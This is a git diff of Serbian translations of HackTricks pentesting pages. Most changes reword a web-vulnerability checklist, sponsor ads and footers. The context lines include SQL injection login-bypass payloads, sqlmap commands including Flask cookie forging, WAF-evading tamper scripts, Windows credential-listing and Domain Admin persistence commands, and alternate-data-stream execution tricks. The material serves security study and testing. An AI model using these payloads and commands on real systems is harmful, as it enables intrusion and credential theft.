Pošto će HEAD odgovor sadržati `Content-Length` zaglavlje, **odgovor TRACE zahteva će biti tretiran kao telo HEAD odgovora, što će stoga odražavati proizvoljne podatke** u odgovoru.\
Ovaj odgovor će biti poslat sledećem zahtevu preko veze, tako da bi to moglo biti **iskorišćeno u keširanom JS fajlu na primer da se ubaci proizvoljan JS kod**.
Ovaj odgovor će biti poslat sledećem zahtevu preko veze, tako da bi ovo moglo biti **iskorišćeno u keširanom JS fajlu na primer da se ubaci proizvoljan JS kod**.
### Iskorišćavanje TRACE putem HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
@ -735,7 +735,7 @@ table.add(req)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.

View file

@ -15,16 +15,16 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Ova lista sadrži **payload-ove za zaobilaženje prijave putem XPath, LDAP i SQL injekcije** (u tom redosledu).
Ova lista sadrži **payload-ove za zaobilaženje prijave putem XPath, LDAP i SQL injekcija** (u tom redosledu).
Način korišćenja ove liste je da stavite **prvih 200 redova kao korisničko ime i lozinku.** Zatim, stavite kompletnu listu prvo u korisničko ime, a zatim u lozinku dok stavite neku lozinku (kao _Pass1234._) ili neko poznato korisničko ime (kao _admin_).
Način korišćenja ove liste je da stavite **prvih 200 redova kao korisničko ime i lozinku.** Zatim, stavite kompletnu listu prvo u korisničko ime, a zatim u lozinku dok unosite neku lozinku (kao što je _Pass1234._) ili neko poznato korisničko ime (kao što je _admin_).
```
admin
password
@ -833,9 +833,9 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,9 +17,9 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -100,7 +100,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
```
### Eval
**Sqlmap** omogućava korišćenje `-e` ili `--eval` za obradu svake payload pre slanja uz neki python oneliner. Ovo olakšava i ubrzava prilagođenu obradu payload-a pre slanja. U sledećem primeru **flask cookie session** **je potpisan od strane flaska sa poznatom tajnom pre slanja**:
**Sqlmap** omogućava korišćenje `-e` ili `--eval` za obradu svake payload pre slanja uz neki python oneliner. Ovo olakšava i ubrzava prilagođenu obradu payload-a pre slanja. U sledećem primeru **flask cookie sesija** **je potpisana od strane flaska sa poznatom tajnom pre slanja**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
@ -158,17 +158,17 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u python-u** i to je veoma
```
| Tamper | Description |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Zamenjuje karakter apostrofa njegovim punim UTF-8 ekvivalentom |
| apostrophemask.py | Zamenjuje karakter apostrofa njegovim punim UTF-8 ekvivalentom |
| apostrophenullencode.py | Zamenjuje karakter apostrofa njegovim ilegalnim dvostrukim unicode ekvivalentom |
| appendnullbyte.py | Dodaje kodirani NULL bajt karakter na kraj payload-a |
| base64encode.py | Base64 kodira sve karaktere u datom payload-u |
| between.py | Zamenjuje operator veće od ('>') sa 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom |
| chardoubleencode.py | Dvostruko url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| chardoubleencode.py | Dvostruko url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| commalesslimit.py | Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M' |
| commalessmid.py | Zamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)' |
| concat2concatws.py | Zamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| concat2concatws.py | Zamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| charunicodeencode.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "%u0022" |
| charunicodeescape.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "\u0022" |
| equaltolike.py | Zamenjuje sve pojave operatora jednakosti ('=') sa operatorom 'LIKE' |
@ -179,10 +179,10 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u python-u** i to je veoma
| modsecurityversioned.py | Obavija kompletnu upit sa verzioniranim komentarom |
| modsecurityzeroversioned.py | Obavija kompletnu upit sa komentarom nulte verzije |
| multiplespaces.py | Dodaje više razmaka oko SQL ključnih reči |
| nonrecursivereplacement.py | Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filteri |
| nonrecursivereplacement.py | Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filteri |
| percentage.py | Dodaje znak procenta ('%') ispred svakog karaktera |
| overlongutf8.py | Konvertuje sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom slovom |
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom slovom |
| randomcomments.py | Dodaje nasumične komentare SQL ključnim rečima |
| securesphere.py | Dodaje posebno oblikovan string |
| sp\_password.py | Dodaje 'sp\_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova |
@ -194,7 +194,7 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u python-u** i to je veoma
| space2mssqlhash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim novim redom ('\n') |
| space2mysqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| space2mysqldash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim novim redom ('\n') |
| space2plus.py | Zamenjuje karakter razmaka (' ') sa plusom ('+') |
| space2plus.py | Zamenjuje karakter razmaka (' ') sa plusom ('+') |
| space2randomblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| symboliclogical.py | Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i |
| unionalltounion.py | Zamenjuje UNION ALL SELECT sa UNION SELECT |
@ -207,9 +207,9 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u python-u** i to je veoma
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera na vaše web aplikacije, mrežu i cloud
**Dobijte perspektivu hakera na vaše web aplikacije, mrežu i cloud**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatske eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -1,15 +1,15 @@
# Metodologija web ranjivosti
# Metodologija Web Ranljivosti
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Obuka AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Obuka GCP Red Team Ekspert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
@ -17,9 +17,9 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -33,42 +33,42 @@ Danas **web** **aplikacije** obično **koriste** neku vrstu **posredničkih** **
{% endhint %}
* [ ] [**Zloupotreba hop-by-hop zaglavlja**](abusing-hop-by-hop-headers.md)
* [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
* [ ] [**Trovanje kešom/Obmanjivanje keša**](cache-deception/)
* [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
* [ ] [**H2C Smuggling**](h2c-smuggling.md)
* [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Uključivanje sa servera/Uključivanje sa ivice**](server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Otkrivanje Cloudflare-a**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**Obilaženje Proxy / WAF zaštita**](proxy-waf-protections-bypass.md)
* [ ] [**XSLT Uključivanje sa servera**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**Obilaženje zaštita Proxy / WAF**](proxy-waf-protections-bypass.md)
## **Korisnički unos**
{% hint style="info" %}
Većina web aplikacija će **dozvoliti korisnicima da unesu neke podatke koji će kasnije biti obrađeni.**\
U zavisnosti od strukture podataka, server očekuje da će se neke ranjivosti možda primeniti ili ne.
U zavisnosti od strukture podataka, server očekuje da se neke ranjivosti mogu ili ne moraju primeniti.
{% endhint %}
### **Reflektovani vrednosti**
Ako se uneti podaci mogu na neki način odraziti u odgovoru, stranica može biti ranjiva na nekoliko problema.
* [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
* [ ] [**Command Injection**](command-injection.md)
* [ ] [**Uključivanje šablona sa klijentske strane**](client-side-template-injection-csti.md)
* [ ] [**Uključivanje komandi**](command-injection.md)
* [ ] [**CRLF**](crlf-0d-0a.md)
* [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/)
* [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
* [ ] [**Open Redirect**](open-redirect.md)
* [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
* [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)
* [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
* [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**Viseći markup**](dangling-markup-html-scriptless-injection/)
* [ ] [**Uključivanje datoteka/Prelazak putanje**](file-inclusion/)
* [ ] [**Otvorena preusmeravanja**](open-redirect.md)
* [ ] [**Zagađenje prototipa do XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Uključivanje sa servera/Uključivanje sa ivice**](server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Uključivanje zahteva sa servera**](ssrf-server-side-request-forgery/)
* [ ] [**Uključivanje šablona sa servera**](ssti-server-side-template-injection/)
* [ ] [**Obrnuto preuzimanje taba**](reverse-tab-nabbing.md)
* [ ] [**XSLT Uključivanje sa servera**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**XSS**](xss-cross-site-scripting/)
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
* [ ] [**XS-Search**](xs-search/)
* [ ] [**XS-Pretraga**](xs-search/)
Neke od pomenutih ranjivosti zahtevaju posebne uslove, dok druge samo zahtevaju da se sadržaj odrazi. Možete pronaći neke zanimljive poliglotove za brzo testiranje ranjivosti u:
Neke od pomenutih ranjivosti zahtevaju posebne uslove, dok druge samo zahtevaju da se sadržaj odražava. Možete pronaći neke zanimljive poliglotove za brzo testiranje ranjivosti u:
{% content-ref url="pocs-and-polygloths-cheatsheet/" %}
[pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/)
@ -78,19 +78,19 @@ Neke od pomenutih ranjivosti zahtevaju posebne uslove, dok druge samo zahtevaju
Ako se funkcionalnost može koristiti za pretraživanje nekih podataka unutar pozadine, možda je možete (zlo)upotrebiti za pretraživanje proizvoljnih podataka.
* [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
* [ ] [**NoSQL Injection**](nosql-injection.md)
* [ ] [**LDAP Injection**](ldap-injection.md)
* [ ] [**Uključivanje datoteka/Prelazak putanje**](file-inclusion/)
* [ ] [**NoSQL Uključivanje**](nosql-injection.md)
* [ ] [**LDAP Uključivanje**](ldap-injection.md)
* [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
* [ ] [**SQL Injection**](sql-injection/)
* [ ] [**XPATH Injection**](xpath-injection.md)
* [ ] [**SQL Uključivanje**](sql-injection/)
* [ ] [**XPATH Uključivanje**](xpath-injection.md)
### **Obrasci, WebSockets i PostMsgs**
Kada websocket pošalje poruku ili obrazac koji omogućava korisnicima da izvrše radnje, mogu se pojaviti ranjivosti.
* [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
* [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md)
* [ ] [**Hacking WebSocket-a (CSWSH)**](websocket-attacks.md)
* [ ] [**PostMessage Ranjivosti**](postmessage-vulnerabilities/)
### **HTTP Zaglavlja**
@ -98,9 +98,9 @@ Kada websocket pošalje poruku ili obrazac koji omogućava korisnicima da izvrš
U zavisnosti od HTTP zaglavlja koje daje web server, neke ranjivosti mogu biti prisutne.
* [ ] [**Clickjacking**](clickjacking.md)
* [ ] [**Obilaženje Content Security Policy**](content-security-policy-csp-bypass/)
* [ ] [**Obilaženje politike sigurnosti sadržaja**](content-security-policy-csp-bypass/)
* [ ] [**Hacking kolačića**](hacking-with-cookies/)
* [ ] [**CORS - Konfiguracije i Obilaženje**](cors-bypass.md)
* [ ] [**CORS - Konfiguracije i obilaženje**](cors-bypass.md)
### **Obilaženja**
@ -110,7 +110,7 @@ Postoji nekoliko specifičnih funkcionalnosti gde bi neka rešenja mogla biti ko
* [ ] [**Obilaženje procesa plaćanja**](bypass-payment-process.md)
* [ ] [**Obilaženje Captche**](captcha-bypass.md)
* [ ] [**Obilaženje prijave**](login-bypass/)
* [ ] [**Race Condition**](race-condition.md)
* [ ] [**Trka stanja**](race-condition.md)
* [ ] [**Obilaženje ograničenja brzine**](rate-limit-bypass.md)
* [ ] [**Obilaženje resetovanja zaboravljene lozinke**](reset-password.md)
* [ ] [**Ranjivosti registracije**](registration-vulnerabilities.md)
@ -118,27 +118,27 @@ Postoji nekoliko specifičnih funkcionalnosti gde bi neka rešenja mogla biti ko
### **Strukturirani objekti / Specifične funkcionalnosti**
Neke funkcionalnosti će zahtevati da **podaci budu strukturirani u vrlo specifičnom formatu** (kao što je jezik serijalizovanog objekta ili XML). Stoga je lakše identifikovati da li aplikacija može biti ranjiva jer mora obraditi tu vrstu podataka.\
Neke **specifične funkcionalnosti** takođe mogu biti ranjive ako se koristi **specifičan format unosa** (kao što su Email Header Injections).
Neke **specifične funkcionalnosti** takođe mogu biti ranjive ako se koristi **specifičan format unosa** (kao što su injekcije zaglavlja e-pošte).
* [ ] [**Deserialization**](deserialization/)
* [ ] [**Email Header Injection**](email-injections.md)
* [ ] [**Deserializacija**](deserialization/)
* [ ] [**Injekcija zaglavlja e-pošte**](email-injections.md)
* [ ] [**JWT Ranjivosti**](hacking-jwt-json-web-tokens.md)
* [ ] [**XML Eksterni Entitet**](xxe-xee-xml-external-entity.md)
* [ ] [**XML Spoljašnja Entiteta**](xxe-xee-xml-external-entity.md)
### Fajlovi
### Datoteke
Funkcionalnosti koje omogućavaju učitavanje fajlova mogu biti ranjive na nekoliko problema.\
Funkcionalnosti koje generišu fajlove uključujući korisnički unos mogu izvršiti neočekivani kod.\
Korisnici koji otvaraju fajlove koje su učitali korisnici ili automatski generisani uključujući korisnički unos mogu biti kompromitovani.
Funkcionalnosti koje omogućavaju učitavanje datoteka mogu biti ranjive na nekoliko problema.\
Funkcionalnosti koje generišu datoteke uključujući korisnički unos mogu izvršiti neočekivani kod.\
Korisnici koji otvaraju datoteke koje su učitali korisnici ili automatski generisane uključujući korisnički unos mogu biti kompromitovani.
* [ ] [**Učitavanje fajlova**](file-upload/)
* [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
* [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
* [ ] [**Učitavanje datoteka**](file-upload/)
* [ ] [**Injekcija formula**](formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**Injekcija PDF-a**](xss-cross-site-scripting/pdf-injection.md)
* [ ] [**XSS sa servera**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Spoljašnje upravljanje identitetom**
* [ ] [**OAUTH za preuzimanje naloga**](oauth-to-account-takeover.md)
* [ ] [**OAUTH do preuzimanja naloga**](oauth-to-account-takeover.md)
* [ ] [**SAML napadi**](saml-attacks/)
### **Druge korisne ranjivosti**
@ -153,23 +153,23 @@ Ove ranjivosti mogu pomoći u eksploataciji drugih ranjivosti.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Obuka AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Obuka GCP Red Team Ekspert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -17,9 +17,9 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -184,7 +184,7 @@ cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```
### Persistencija sa korisnicima
### Ustrajnost sa korisnicima
```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
@ -346,7 +346,7 @@ encoding
```
### Listen address ACLs
Možete slušati na [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) bez administratorskih prava.
Možete slušati na [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) bez da budete administrator.
```bash
netsh http show urlacl
```
@ -389,7 +389,7 @@ i=system("net localgroup administrators otherAcc /add");
return 0;
}
```
## CheatSheet za alternativne podatkovne tokove (ADS/Alternativni podatkovni tok)
## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)
**Primeri su preuzeti sa** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Ima mnogo više tamo!**
```bash
@ -419,7 +419,7 @@ powershell -ep bypass - < c:\temp:ttt
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Pogledajte iz perspektive hakera na vaše web aplikacije, mrežu i oblak
**Dobijte perspektivu hakera na vaše web aplikacije, mrežu i oblak**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.

View file

@ -17,19 +17,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i oblaku**
